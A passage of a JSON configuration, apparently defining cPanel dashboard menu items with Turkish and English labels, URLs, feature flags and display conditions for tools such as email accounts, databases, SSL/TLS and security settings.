$CONFIF{'api_shell'}","type":"image","plainitemdesc":"API Shell","target":""},"php_pg_admin":{"url":"/3rdparty/phpPgAdmin/index.php","group":"databases","onclick":"","feature":"phppgadmin","height":"48","key":"php_pg_admin","description":"Manage PostgreSQL® databases.","searchtext":"phpPgAdmin database psql db","base64_png_image":"","type":"image","if":"$SERVICEPROVIDED{'postgresql'} && $haspostgres","target":"_blank","plainitemdesc":"[asis,phpPgAdmin]","imgtype":"icon","acontent":"target=\"_blank\"","subtype":"img","itemorder":"7","itemdesc":"phpPgAdmin","width":"48","file":"php_pg_admin"},"disk_usage":{"imgtype":"icon","target":"","plainitemdesc":"Disk Usage","if":"$HASROLE{'FileStorage'}","type":"image","file":"disk_usage","itemorder":"4","itemdesc":"Disk Kullanımı","width":"48","acontent":"","subtype":"img","group":"files","url":"diskusage/index.html","base64_png_image":"","key":"disk_usage","searchtext":"Disk Kullanımı disk alanı kullanımı disk kullanımı","description":"View information about your files, your directories, and how you use your disk space.","height":"48","onclick":"","feature":"diskusageviewer"},"group_advanced":{"group":"advanced","groupdesc":"Gelişmiş","height":"48","onclick":"","base64_png_image":"","description":"Gelişmiş","searchtext":"group_advanced","key":"group_advanced","target":"","type":"image","imgtype":"icon","grouporder":"7","itemdesc":"group_advanced","width":"48","subtype":"img","acontent":"","file":"group_advanced"},"calendar_and_contacts":{"width":"48","itemdesc":"Calendars and Contacts Configuration","itemorder":"18","subtype":"img","acontent":"","file":"calendar_and_contacts","plainitemdesc":"Calendars and Contacts Configuration","target":"","type":"image","if":"$HASROLE{'CalendarContact'} && $hascpdavd","imgtype":"icon","height":"48","feature":"caldavcarddav","onclick":"","base64_png_image":"","searchtext":"e-posta takvim kişi adres defteri CalDAV CardDAV Calendars and Contacts Configuration","description":"Manage your CalDAV (calendar) and CardDAV (contacts) accounts.","key":"calendar_and_contacts","group":"email","url":"mail/calendars_and_contacts/index.html","implements":"Calendar_Configure"},"global_email_filters":{"implements":"Email_AccountLevelFiltering","url":"mail/filters/userfilters.html","group":"email","key":"global_email_filters","description":"Configure how your server filters all of the email that your domains’ email accounts receive.","searchtext":"Genel E-Posta Filtreleri filtre hesap seviyesi filtreleme Genel E-posta Filtreleri","base64_png_image":"","onclick":"","feature":"blockers","height":"48","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Global Email Filters","file":"global_email_filters","acontent":"","subtype":"img","itemorder":"9","width":"48","itemdesc":"Genel E-posta Filtreleri"},"backup_wizard":{"file":"backup_wizard","acontent":"","subtype":"img","itemorder":"9","itemdesc":"Yedekleme Sihirbazı","width":"48","imgtype":"icon","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","type":"image","target":"","plainitemdesc":"Backup Wizard","key":"backup_wizard","searchtext":"Yedekleme Sihirbazı geri yükleme","description":"Back up all or part of your website, or restore it from the most recent backup file.","base64_png_image":"","onclick":"","feature":"backup","height":"48","url":"backup/wizard.html","group":"files"},"mysql_database_wizard":{"url":"sql/wizard1.html","group":"databases","onclick":"","feature":"mysql","height":"48","key":"mysql_database_wizard","description":"Guided setup of a database, database users, and user privileges.","searchtext":"MySQL Database Wizard mysql database db","base64_png_image":"","if":"$SERVICEPROVIDED{'mysql'}","type":"image","target":"","plainitemdesc":"Database Wizard","imgtype":"icon","subtype":"img","acontent":"","itemorder":"3","itemdesc":"Database Wizard","width":"48","file":"mysql_database_wizard"},"group_email":{"key":"group_email","searchtext":"group_email","description":"E-posta","base64_png_image":"","onclick":"","height":"48","groupdesc":"E-posta","group":"email","file":"group_email","acontent":"","subtype":"img","width":"48","itemdesc":"group_email","imgtype":"icon","grouporder":"1","type":"image","if":"$HASROLE{'MailSend'} || $HASROLE{'MailReceive'} || $HASROLE{'DNS'} || $HASROLE{'CalendarContact'}","target":""},"mod_security":{"key":"mod_security","searchtext":"ModSecurity mod güvenliği mod_security","description":"Enable or disable ModSecurity® for your domains.","base64_png_image":"","onclick":"","feature":"modsecurity","height":"48","url":"security/mod_security/index.html","group":"security","file":"mod_security","acontent":"","subtype":"img","itemorder":"7","width":"48","itemdesc":"ModSecurity","imgtype":"icon","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","type":"image","plainitemdesc":"ModSecurity","target":""},"email_deliverability":{"implements":"Email_Authentication","group":"email","url":"email_deliverability/","base64_png_image":"","description":"Identify problems with your mail-related DNS records for one or more of your domains.","searchtext":"email Authentication Email Deliverability spf dmarc domain-keys authentication DKIM","key":"email_deliverability","height":"48","feature":"emailauth","onclick":"","imgtype":"icon","target":"","plainitemdesc":"Email Deliverability","type":"image","if":"$HASROLE{'MailSend'}","file":"email_deliverability","itemdesc":"Email Deliverability","width":"48","itemorder":"11","acontent":"","subtype":"img"},"mime_types":{"type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"MIME Types","target":"","imgtype":"icon","subtype":"img","acontent":"","itemdesc":"MIME Türleri","width":"48","itemorder":"7","file":"mime_types","url":"mime/mime.html","group":"advanced","feature":"mime","onclick":"","height":"48","description":"Relay information to the visitor’s browser about how to handle file extensions.","searchtext":"MIME Türleri mimetype türler","key":"mime_types","base64_png_image":""},"awstats":{"url":"stats/awstats_landing.html","group":"metrics","implements":"Stats_AWStats","feature":"awstats","onclick":"","height":"48","searchtext":"Awstats awstats","description":"View traffic statistics from the AWStats software.","key":"awstats","base64_png_image":"","type":"image","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipawstats'}","target":"","plainitemdesc":"Awstats","imgtype":"icon","subtype":"img","acontent":"","width":"48","itemdesc":"Awstats","itemorder":"5","file":"awstats"},"cpanel-koality-plugin":{"base64_png_image":"","description":"Site Quality Monitoring","searchtext":"website quality check monitor plugin Site Quality Monitoring","height":"48","onclick":"","feature":"koality","group":"metrics","url":"koality/signup/index.html","file":"cpanel-koality-plugin","itemorder":"2","itemdesc":"Site Quality Monitoring","width":"48","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Site Quality Monitoring","type":"image","if":"$HASROLE{'WebServer'}"},"api_tokens":{"height":"48","onclick":"","feature":"apitokens","base64_png_image":"","key":"api_tokens","description":"Create, manage, and delete API tokens.","searchtext":"Manage API Tokens access api connect login","group":"security","url":"api_tokens/index.html","implements":"API_Tokens_Manager","itemorder":"4","itemdesc":"Manage API Tokens","width":"48","subtype":"img","acontent":"","file":"api_tokens","target":"","plainitemdesc":"Manage API Tokens","type":"image","imgtype":"icon"},"tls_wizard":{"imgtype":"icon","type":"image","if":"$HASROLE{'UserSSL'} && $wizard_has_ssl_content && !$ssl_show_unified_ui","target":"","plainitemdesc":"[asis,SSL]/[asis,TLS] Wizard","file":"tls_wizard","subtype":"img","acontent":"","width":"48","itemdesc":"SSL/TLS Sihirbazı","itemorder":"6","implements":"SSL_TLS_Wizard","url":"security/tls_wizard/","group":"security","description":"Purchase and install SSL certificates for your domains.","searchtext":"SSL/TLS Sihirbazı","key":"tls_wizard","base64_png_image":"","feature":"market && tls_wizard && sslinstall","onclick":"","height":"48"},"hotlink_protection":{"base64_png_image":"","description":"Prevent external sites and users from embedding your website’s content.","searchtext":"Hotlink Koruması","key":"hotlink_protection","height":"48","feature":"hotlink","onclick":"","group":"security","url":"mime/hotlink.html","file":"hotlink_protection","itemdesc":"Hotlink Koruması","width":"48","itemorder":"4","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Hotlink Protection","if":"$HASROLE{'WebServer'}","type":"image"},"visitors":{"url":"stats/lastvisitors_landing.html","group":"metrics","feature":"lastvisits","onclick":"","height":"48","searchtext":"en son ziyaretçiler Ziyaretçiler","description":"Display detailed information about recent visits to your website.","key":"visitors","base64_png_image":"","if":"$HASROLE{'WebServer'}","type":"image","plainitemdesc":"Visitors","target":"","imgtype":"icon","acontent":"","subtype":"img","itemdesc":"Ziyaretçiler","width":"48","itemorder":"1","file":"visitors"},"php_pear_packages":{"file":"php_pear_packages","itemorder":"2","width":"48","itemdesc":"PHP PEAR Paketleri","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"PHP PEAR Packages","type":"image","if":"$haspear","base64_png_image":"","key":"php_pear_packages","description":"Search for and add PEAR packages to your website, or view your available PHP packages.","searchtext":"PHP PEAR Paketleri","height":"48","onclick":"","feature":"modules-php-pear","group":"software","url":"module_installers/index.html?lang=php-pear"},"ip_blocker":{"target":"","plainitemdesc":"IP Blocker","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemdesc":"IP Engelleyici","width":"48","itemorder":"2","acontent":"","subtype":"img","file":"ip_blocker","group":"security","url":"denyip/index.html","height":"48","feature":"ipdeny","onclick":"","base64_png_image":"","description":"Block access to your website for one or more IP addresses or fully qualified domain names.","searchtext":"IP Engelleyici ip reddetme yöneticisi","key":"ip_blocker"},"email_accounts":{"imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'}","target":"","plainitemdesc":"Email Accounts","file":"email_accounts","subtype":"img","acontent":"","itemorder":"1","width":"48","itemdesc":"E-posta Hesapları","implements":"Email_Accounts","url":"email_accounts/index.html","group":"email","key":"email_accounts","description":"Create, manage, and delete email accounts.","searchtext":"e-posta hesapları posta pop imap smtp E-posta Hesapları","base64_png_image":"","onclick":"","feature":"popaccts","height":"48"},"ftp_accounts":{"base64_png_image":"","description":"Create, manage, and delete FTP accounts.","searchtext":"FTP Hesapları ftp oluştur","key":"ftp_accounts","height":"48","feature":"ftpaccts","onclick":"","group":"files","url":"ftp/accounts.html","file":"ftp_accounts","itemdesc":"FTP Hesapları","width":"48","itemorder":"6","touch":"ftp","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"FTP Accounts","target":"","if":"$SERVICEPROVIDED{'ftp'}","type":"image"},"webalizer":{"imgtype":"icon","if":"$HASROLE{'WebServer'} && !$CONFIF{'skipwebalizer'}","type":"image","plainitemdesc":"Webalizer","target":"","file":"webalizer","acontent":"","subtype":"img","itemorder":"7","itemdesc":"Webalizer","width":"48","url":"stats/webalizer_landing.html","group":"metrics","key":"webalizer","description":"View traffic statistics from the Webalizer statistics program.","searchtext":"Webalizer istatistikleri","base64_png_image":"","onclick":"","feature":"webalizer","height":"48"},"address_importer":{"group":"email","url":"mail/csvimport.html","base64_png_image":"","searchtext":"Adres Aktarıcısı Adresleri Aktar İleticiler Posta csv aktar xls aktar","description":"Use a spreadsheet or comma-separated value text file to quickly create mailboxes or forwarders.","key":"address_importer","height":"48","feature":"csvimport","onclick":"","imgtype":"icon","plainitemdesc":"Address Importer","target":"","type":"image","if":"$HASROLE{'MailReceive'}","file":"address_importer","itemdesc":"Adres Aktarıcısı","width":"48","itemorder":"12","acontent":"","subtype":"img"},"dynamic_dns":{"height":48,"onclick":"","feature":"dynamicdns","base64_png_image":"","key":"dynamic_dns","searchtext":"dynamic dns ddns ip subdomain Dynamic DNS","description":"Manage your dynamic DNS domains.","group":"domains","url":"dynamic-dns/index.html","itemorder":9,"itemdesc":"Dynamic DNS","width":48,"acontent":"","subtype":"img","file":"dynamic_dns","plainitemdesc":"Dynamic DNS","target":"","if":"$HASROLE{'DNS'}","type":"image","imgtype":"icon"},"two_factor_authentication":{"onclick":"","feature":"twofactorauth","height":"48","key":"two_factor_authentication","searchtext":"İki Faktörlü Doğrulama 2fa tfa İki Faktörlü Kimlik Doğrulama","description":"Configure a security measure that requires two forms of identification to log in.","base64_png_image":"","url":"security/2fa/index.html","group":"security","subtype":"img","acontent":"","itemorder":"8","itemdesc":"İki Faktörlü Kimlik Doğrulama","width":"48","file":"two_factor_authentication","type":"image","if":"$is_twofactorauth_sec_policy_enabled","target":"","plainitemdesc":"Two-Factor Authentication","imgtype":"icon"},"group_security":{"groupdesc":"Güvenlik","group":"security","description":"Güvenlik","searchtext":"group_security","key":"group_security","base64_png_image":"","onclick":"","height":"48","grouporder":"6","imgtype":"icon","type":"image","target":"","file":"group_security","acontent":"","subtype":"img","width":"48","itemdesc":"group_security"},"remote_mysql":{"base64_png_image":"","key":"remote_mysql","description":"Allow remote hosts (servers) to access databases hosted on this server.","searchtext":"Remote MySQL db Remote Database Access","height":"48","onclick":"","feature":"mysql","group":"databases","url":"sql/managehost.html","file":"remote_mysql","itemorder":"4","width":"48","itemdesc":"Remote Database Access","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Remote Database Access","type":"image","if":"$SERVICEPROVIDED{'mysql'}"},"group_databases":{"file":"group_databases","subtype":"img","acontent":"","itemdesc":"group_databases","width":"48","imgtype":"icon","grouporder":"3","type":"image","if":"$SERVICEPROVIDED{'mysql'} || $SERVICEPROVIDED{'postgresql'}","target":"","searchtext":"group_databases","description":"Veri tabanları","key":"group_databases","base64_png_image":"","onclick":"","height":"48","groupdesc":"Veri tabanları","group":"databases"},"ruby_gems":{"url":"module_installers/index.html?lang=ruby","group":"software","description":"Distribute Ruby® programs and libraries.","searchtext":"RubyGems ror ruby gems rails","key":"ruby_gems","base64_png_image":"","feature":"modules-ruby","onclick":"","height":"48","imgtype":"icon","if":"$hasgem","type":"image","plainitemdesc":"RubyGems","target":"","file":"ruby_gems","acontent":"","subtype":"img","itemdesc":"RubyGems","width":"48","itemorder":"4"},"web_disk":{"imgtype":"icon","target":"","plainitemdesc":"Web Disk","if":"$HASROLE{'WebDisk'} && $hascpdavd","type":"image","file":"web_disk","width":"48","itemdesc":"Web Disk","itemorder":"5","acontent":"","subtype":"img","group":"files","url":"webdav/accounts_webdav.html","base64_png_image":"","description":"Manage files on multiple types of devices.","searchtext":"Web Disk webdav webdisk","key":"web_disk","height":"48","feature":"webdisk","onclick":""},"ftp_connections":{"group":"files","url":"ftp/session.html","base64_png_image":"","description":"View information about current connections to your FTP server and manage those connections.","searchtext":"FTP Bağlantıları ftp hesapları ftp oturum denetimi","key":"ftp_connections","height":"48","feature":"ftpaccts","onclick":"","imgtype":"icon","target":"","plainitemdesc":"FTP Connections","type":"image","if":"$SERVICEPROVIDED{'ftp'} && !$hascloudlinux","file":"ftp_connections","width":"48","itemdesc":"FTP Bağlantıları","itemorder":"7","touch":"ftp","acontent":"","subtype":"img"},"file_manager":{"height":"48","onclick":"","feature":"filemanager","base64_png_image":"","key":"file_manager","description":"Manage and edit your files.","searchtext":"Dosya Yöneticisi dosya yöneticisi","group":"files","url":"filemanager/index.html","implements":"FileManager_Home","itemorder":"1","width":"48","itemdesc":"Dosya Yöneticisi","acontent":"target=\"_blank\"","subtype":"img","file":"file_manager","target":"_blank","plainitemdesc":"File Manager","type":"image","if":"$HASROLE{'FileStorage'}","imgtype":"icon"},"bandwidth":{"acontent":"","subtype":"img","itemorder":"3","width":"48","itemdesc":"Bant Genişliği","file":"bandwidth","type":"image","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","target":"","plainitemdesc":"Bandwidth","imgtype":"icon","onclick":"","feature":"bandwidth","height":"48","key":"bandwidth","searchtext":"Bant Genişliği bandmin aktarımı","description":"View bandwidth usage graphs by protocol over multiple lengths of time.","base64_png_image":"","url":"stats/bandwidth.html","group":"metrics"},"ruby_on_rails":{"onclick":"","feature":"ror","height":"48","key":"ruby_on_rails","searchtext":"Ruby on Rails","description":"Create and deploy a Ruby on Rails® application.","base64_png_image":"","url":"ror/index.html","group":"software","subtype":"img","acontent":"","itemorder":"5","width":"48","itemdesc":"Ruby on Rails","file":"ruby_on_rails","if":"$hasrails","type":"image","plainitemdesc":"Ruby on Rails","target":"","imgtype":"icon"},"php":{"url":"php/index.html?lang","group":"software","description":"Display your PHP configuration settings.","searchtext":"PHP yapılandırması","key":"php","base64_png_image":"","feature":"php-config","onclick":"","height":"48","imgtype":"icon","type":"image","if":"!$is_ea4","plainitemdesc":"PHP","target":"","file":"php","acontent":"","subtype":"img","width":"48","itemdesc":"PHP","itemorder":"1"},"manage_calendar_access":{"file":"manage_calendar_access","width":48,"itemdesc":"Calendars and Contacts Sharing","itemorder":18,"subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Calendars and Contacts Sharing","if":"$HASROLE{'CalendarContact'} && $hascpdavd","type":"image","base64_png_image":"","description":"Delegate access rights for a user’s calendar & contacts to other users.","searchtext":"calendar delegation Calendars and Contacts Sharing","key":"manage_calendar_access","height":48,"feature":"caldavcarddav","onclick":"","group":"email","url":"manage-calendar-access/index.html"},"version_control":{"group":"files","url":"version_control/index.html","height":"48","feature":"version_control","onclick":"","base64_png_image":"","description":"Host Git™ repositories.","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Git™ Version Control","key":"version_control","target":"","plainitemdesc":"[asis,Git™] Version Control","if":"$HASROLE{'FileStorage'}","type":"image","imgtype":"icon","itemdesc":"Git™ Version Control","width":"48","itemorder":"10","subtype":"img","acontent":"","file":"version_control"},"images":{"acontent":"","subtype":"img","width":"48","itemdesc":"Görüntüler","itemorder":"2","file":"images","type":"image","if":"$HASROLE{'WebServer'}","target":"","plainitemdesc":"Images","imgtype":"icon","feature":"cpanelpro_images","onclick":"","height":"48","searchtext":"görüntü yöneticisi yeniden boyutlandırma yöneticisi ölçekleyici küçük resim yapıcı biçimi Görüntüler","description":"Modify and manage images saved to your cPanel account.","key":"images","base64_png_image":"","url":"cpanelpro/images.html","group":"files"},"email_routing":{"file":"email_routing","itemorder":"4","itemdesc":"E-posta Yönlendirmesi","width":"48","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Email Routing","if":"$HASROLE{'MailReceive'} && !$HASCHILDNODE{Mail}","type":"image","base64_png_image":"","key":"email_routing","searchtext":"MX Entry Email Routing dns E-posta Yönlendirmesi","description":"Configure how the system routes a domain’s incoming mail.","height":"48","onclick":"","feature":"changemx","implements":"Email_Routing","group":"email","url":"mail/email_routing.html"},"email_disk_usage":{"height":"48","feature":"popaccts && email_disk_usage","onclick":"","base64_png_image":"","description":"View your mailboxes and disk usage for each, and remove old or large messages.","searchtext":"email accounts mail disk usage bytes mb size Email Disk Usage","key":"email_disk_usage","group":"email","url":"mail/manage_disk_usage/","implements":"Email_Disk_Usage","width":"48","itemdesc":"Email Disk Usage","itemorder":"20","acontent":"","subtype":"img","file":"email_disk_usage","target":"","plainitemdesc":"Email Disk Usage","type":"image","if":"$HASROLE{'MailReceive'}","imgtype":"icon"},"email_filters":{"file":"email_filters","itemorder":"10","itemdesc":"E-posta Filtreleri","width":"48","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Email Filters","if":"$HASROLE{'MailReceive'}","type":"image","base64_png_image":"","key":"email_filters","searchtext":"Kullanıcı Filtreleri E-posta kullanıcı düzeyi Filtreleme filtre E-posta Filtreleri","description":"Configure how your server filters a specific email account’s received mail.","height":"48","onclick":"","feature":"blockers","implements":"Email_UserLevelFiltering","group":"email","url":"mail/filters/managefilters.html"},"monarx":{"width":"48","itemdesc":"Monarx Security","itemorder":"1","subtype":"img","acontent":"","file":"monarx","plainitemdesc":"Monarx Security","target":"","type":"image","imgtype":"icon","height":"48","feature":"monarx","onclick":"","base64_png_image":"","searchtext":"Monarx Security","description":"Monarx Security","group":"security","url":"monarx/index.live.php","implements":"monarx_Home"},"cron_jobs":{"file":"cron_jobs","itemdesc":"Cron İşleri","width":"48","itemorder":"2","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Cron Jobs","if":"$HASROLE{'WebServer'}","type":"image","base64_png_image":"","searchtext":"Cron İşleri cron işi cron sekmesi düzenle","description":"Create, manage, and delete scheduled tasks.","key":"cron_jobs","height":"48","feature":"cron","onclick":"","implements":"Cron_Home","group":"advanced","url":"cron/index.html"},"ssl_tls":{"plainitemdesc":"SSL/TLS","target":"","type":"image","if":"$HASROLE{'UserSSL'} && !$ssl_show_unified_ui","imgtype":"icon","itemorder":"3","width":"48","itemdesc":"SSL/TLS","acontent":"","subtype":"img","file":"ssl_tls","group":"security","url":"ssl/index.html","implements":"SSL_TLS_Manager","height":"48","onclick":"","feature":"sslmanager","base64_png_image":"","key":"ssl_tls","description":"Create, manage, and delete SSL certificates, signing requests, and keys.","searchtext":"SSL/TLS sertifika anahtarı csr"},"indexes":{"imgtype":"icon","target":"","plainitemdesc":"Indexes","if":"$HASROLE{'WebServer'}","type":"image","file":"indexes","itemorder":"4","width":"48","itemdesc":"İndeksler","subtype":"img","acontent":"","group":"advanced","url":"indexmanager/index.html","base64_png_image":"","key":"indexes","searchtext":"İndeksler indeks yöneticisi","description":"Define how the server displays a specific directory’s index to a visitor, or to disable index display for a directory.","height":"48","onclick":"","feature":"indexmanager"},"canary":{"url":"canary/index.html","group":"sample_apps","onclick":"","height":"48","key":"canary","searchtext":"sample apps Canary","description":"Canary","base64_png_image":"","if":"$is_sandbox && $exists_in_cpanel{'canary'}","type":"image","target":"","imgtype":"icon","subtype":"img","acontent":"","itemorder":"1","itemdesc":"Canary","width":"48","file":"canary"},"contact_information":{"implements":"ContactInfo_Change","group":"preferences","url":"contact/index.html","base64_png_image":"","key":"contact_information","searchtext":"iletişim e-posta İletişim Bilgileri","description":"Set contact information and preferences.","height":"48","onclick":"","feature":"updatenotificationprefs || updatecontact","imgtype":"icon","target":"","plainitemdesc":"Contact Information","type":"image","file":"contact_information","itemorder":"3","width":"48","itemdesc":"İletişim Bilgileri","acontent":"","subtype":"img"},"group_se_group":{"description":"SEO and Marketing tools","searchtext":"group_se_group","base64_png_image":"","onclick":"","height":"32","groupdesc":"SEO and Marketing tools","group":"se_group","file":"group_se_group","subtype":"img","acontent":"","width":"32","itemdesc":"group_se_group","grouporder":"1","imgtype":"icon","type":"image","target":""},"group_sample_apps":{"height":"48","onclick":"","base64_png_image":"","searchtext":"group_sample_apps","description":"Sample Applications","key":"group_sample_apps","group":"sample_apps","groupdesc":"Sample Applications","width":"48","itemdesc":"group_sample_apps","acontent":"","subtype":"img","file":"group_sample_apps","target":"","type":"image","grouporder":"9","imgtype":"icon"},"track_delivery":{"group":"email","url":"mail/route.html","implements":"Email_DeliveryReport","height":"48","feature":"emailtrace","onclick":"","base64_png_image":"","description":"Display reports about email message delivery attempts.","searchtext":"İletilen E-postayı İzle, E-postayı İzle, posta iletim raporu Gönderimi İzle","key":"track_delivery","target":"","plainitemdesc":"Track Delivery","type":"image","if":"$HASROLE{'MailReceive'} && $HASROLE{'MailSend'}","imgtype":"icon","itemdesc":"Gönderimi İzle","width":"48","itemorder":"8","subtype":"img","acontent":"","file":"track_delivery"},"account_preferences":{"plainitemdesc":"Account Preferences","target":"","type":"image","if":"","imgtype":"icon","width":48,"itemdesc":"Account Preferences","itemorder":1,"subtype":"img","acontent":"","file":"account_preferences","group":"preferences","url":"account-preferences/index.html","height":48,"feature":"account_preferences","onclick":"","base64_png_image":"","searchtext":"updatecontact update contact information primary email setlang change language account preferences consent privacy notification system position change password & security Account Preferences","description":"View and manage your preferred language, contact information, and account settings.","key":"account_preferences"},"cpanel-sitejet-plugin":{"height":"48","feature":"sitejet","onclick":"","base64_png_image":"","description":"Sitejet Builder","searchtext":"sitejet builder domain website plugin Sitejet Builder","group":"domains","url":"sitejet/index.html","width":"48","itemdesc":"Sitejet Builder","itemorder":"2","acontent":"","subtype":"img","file":"cpanel-sitejet-plugin","plainitemdesc":"Sitejet Builder","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},"ssl_tls_unified":{"implements":"SSL_TLS_Manager","group":"security","url":"security/tls_wizard/index.html","base64_png_image":"","key":"ssl_tls_unified","searchtext":"SSL/TLS certificates certificate key keys csr csrs install wizard status autossl https tls ssl security SSL/TLS Certificates","description":"Manage certificates, signing requests, keys, installs, status, and purchases in one place.","height":"48","onclick":"","feature":"sslmanager || autossl || sslinstall","imgtype":"icon","target":"","plainitemdesc":"SSL/TLS Certificates","if":"$HASROLE{'UserSSL'} && $ssl_show_unified_ui","type":"image","file":"ssl_tls_unified","itemorder":"3","itemdesc":"SSL/TLS Certificates","width":"48","subtype":"img","acontent":""},"backuply":{"file":"backuply","itemorder":"1","width":"48","itemdesc":"Backuply","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Backuply","target":"","type":"image","base64_png_image":"","description":"Backuply","searchtext":"Backuply","height":"48","onclick":"","feature":"backuply","implements":"Backuply_Home","group":"software","url":"../../3rdparty/backuply/index.php"},"greylisting":{"description":"Enable or disable protection against unwanted email or spam.","searchtext":"Gri liste istenmeyen postaların gri listeye alınması Gri Listeye Alma İşlemini Yapılandır","key":"greylisting","base64_png_image":"","feature":"greylist","onclick":"","height":"48","implements":"Email_GreyListing","url":"mail/greylisting/index.html","group":"email","file":"greylisting","acontent":"","subtype":"img","itemdesc":"Gri Listeye Alma İşlemini Yapılandır","width":"48","itemorder":"17","imgtype":"icon","type":"image","if":"$HASROLE{'MailReceive'} && $is_greylisting_enabled","target":"","plainitemdesc":"Configure Greylisting"},"track_dns":{"imgtype":"icon","type":"image","target":"","plainitemdesc":"Track DNS","file":"track_dns","subtype":"img","acontent":"","itemorder":"3","itemdesc":"DNS’i İzle","width":"48","url":"net/index.html","group":"advanced","key":"track_dns","searchtext":"DNS İzle traceroute tracert dnslookup delme ağ araçları DNS’i İzle","description":"Perform traceroutes and domain lookups to diagnose network issues.","base64_png_image":"","onclick":"","feature":"nettools","height":"48"},"metrics_editor":{"base64_png_image":"","searchtext":"Metrik Düzenleyici istatistik yöneticisi günlük programlarını seç Metrik Düzenleyicisi","description":"Select metrics programs to process your log files and provide traffic analysis for your cPanel account’s domains.","key":"metrics_editor","height":"32","feature":"statselect","onclick":"","group":"metrics","url":"statmanager/index.html","file":"metrics_editor","width":"32","itemdesc":"Metrik Düzenleyicisi","itemorder":"10","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Metrics Editor","target":"","type":"image","if":"$HASROLE{'WebServer'} && $any_stats_enabled"},"tls_status":{"url":"security/tls_status/","group":"security","implements":"SSL_TLS_Status","onclick":"","feature":"sslinstall","height":"48","key":"tls_status","description":"View, upgrade, or renew your domains’ SSL certificates.","searchtext":"SSL/TLS Status","base64_png_image":"","if":"$HASROLE{'UserSSL'} && !$ssl_show_unified_ui","type":"image","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","target":"","imgtype":"icon","acontent":"","subtype":"img","itemorder":"7","width":"48","itemdesc":"SSL/TLS Status","file":"tls_status"},"php_my_admin":{"imgtype":"icon","type":"image","if":"$SERVICEPROVIDED{'mysql'}","plainitemdesc":"phpMyAdmin","target":"_blank","file":"php_my_admin","acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","itemdesc":"phpMyAdmin","width":"48","implements":"Database_phpMyAdmin","url":"sql/PhpMyAdmin.html","group":"databases","key":"php_my_admin","description":"Manage databases with phpMyAdmin.","searchtext":"phpMyAdmin database db","base64_png_image":"","onclick":"","feature":"phpmyadmin","height":"48"},"imunify360":{"target":"","plainitemdesc":"Imunify360","type":"image","imgtype":"icon","itemorder":"10000","itemdesc":"Imunify360","width":"48","acontent":"","subtype":"img","file":"imunify360","group":"security","url":"imunify/imunify.live.pl","implements":"Imunify_Home","height":"48","onclick":"","feature":"imunify360","base64_png_image":"","searchtext":"Imunify360","description":"Imunify360"},"raw_access":{"url":"raw/index.html","group":"metrics","onclick":"","feature":"rawlog","height":"48","key":"raw_access","description":"View the raw Apache® logs for your site’s visitors.","searchtext":"Ham Erişim günlükler ham günlükler hamgünlükler","base64_png_image":"","type":"image","if":"$HASROLE{'WebServer'}","target":"","plainitemdesc":"Raw Access","imgtype":"icon","subtype":"img","acontent":"","itemorder":"4","itemdesc":"Ham Erişim","width":"48","file":"raw_access"},"group_perf":{"file":"group_perf","itemdesc":"group_perf","width":"48","subtype":"img","acontent":"","imgtype":"icon","grouporder":"8","target":"","type":"image","base64_png_image":"","description":"Tercihler","searchtext":"group_perf","key":"group_perf","height":"48","onclick":"","groupdesc":"Tercihler","group":"preferences"},"site_software":{"group":"software","url":"addoncgi/cpaddons.html","implements":"Site_Software","height":"32","onclick":"","feature":"addoncgi","base64_png_image":"","key":"site_software","searchtext":"Site Yazılımı eklentiler yazılım","description":"Update, manage, and uninstall cPAddons.","plainitemdesc":"Site Software","target":"","type":"image","if":"$HASROLE{'WebServer'}","cpanel_os_check":"supports_cpaddons=1","imgtype":"icon","itemorder":"6","width":"32","itemdesc":"Site Yazılımı","acontent":"","subtype":"img","file_check":"!/var/cpanel/cpaddons.disabled","file":"site_software"},"security_policy":{"base64_png_image":"","description":"Update and manage your security questions.","searchtext":"Güvenlik İlkesi","key":"security_policy","height":"32","onclick":"","group":"security","url":"security/index.html","file":"security_policy","itemdesc":"Güvenlik İlkesi","width":"32","itemorder":"6","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"Security Policy","target":"","if":"$CONFIF{'SecurityPolicy::SourceIPCheck'}","type":"image"},"seranking":{"itemdesc":"SERanking","width":"48","itemorder":0,"subtype":"img","acontent":"target=\"_blank\"","file":"seranking","plainitemdesc":"SERanking","target":"_blank","type":"image","imgtype":"icon","height":"48","onclick":"","base64_png_image":"","description":"SERanking","searchtext":"SERanking","group":"software","url":"seranking/se.live.php"},"domains":{"url":"domains/index.html","group":"domains","implements":"Domains_domains","feature":"addondomains || subdomains || parkeddomains || sslinstall","onclick":"","imagetype":"icon","height":"48","searchtext":"domains parked park aliases alias addon subdomain domain force https redirect Alan Adları","description":"Create, manage, and delete multiple domains.","key":"domains","base64_png_image":"","type":"image","plainitemdesc":"Domains","target":"","subtype":"img","acontent":"","width":"48","itemdesc":"Alan Adları","itemorder":"2","file":"domains"},"calendar_contact_management":{"file":"calendar_contact_management","width":48,"itemdesc":"Calendars and Contacts Management","itemorder":19,"acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Calendars and Contacts 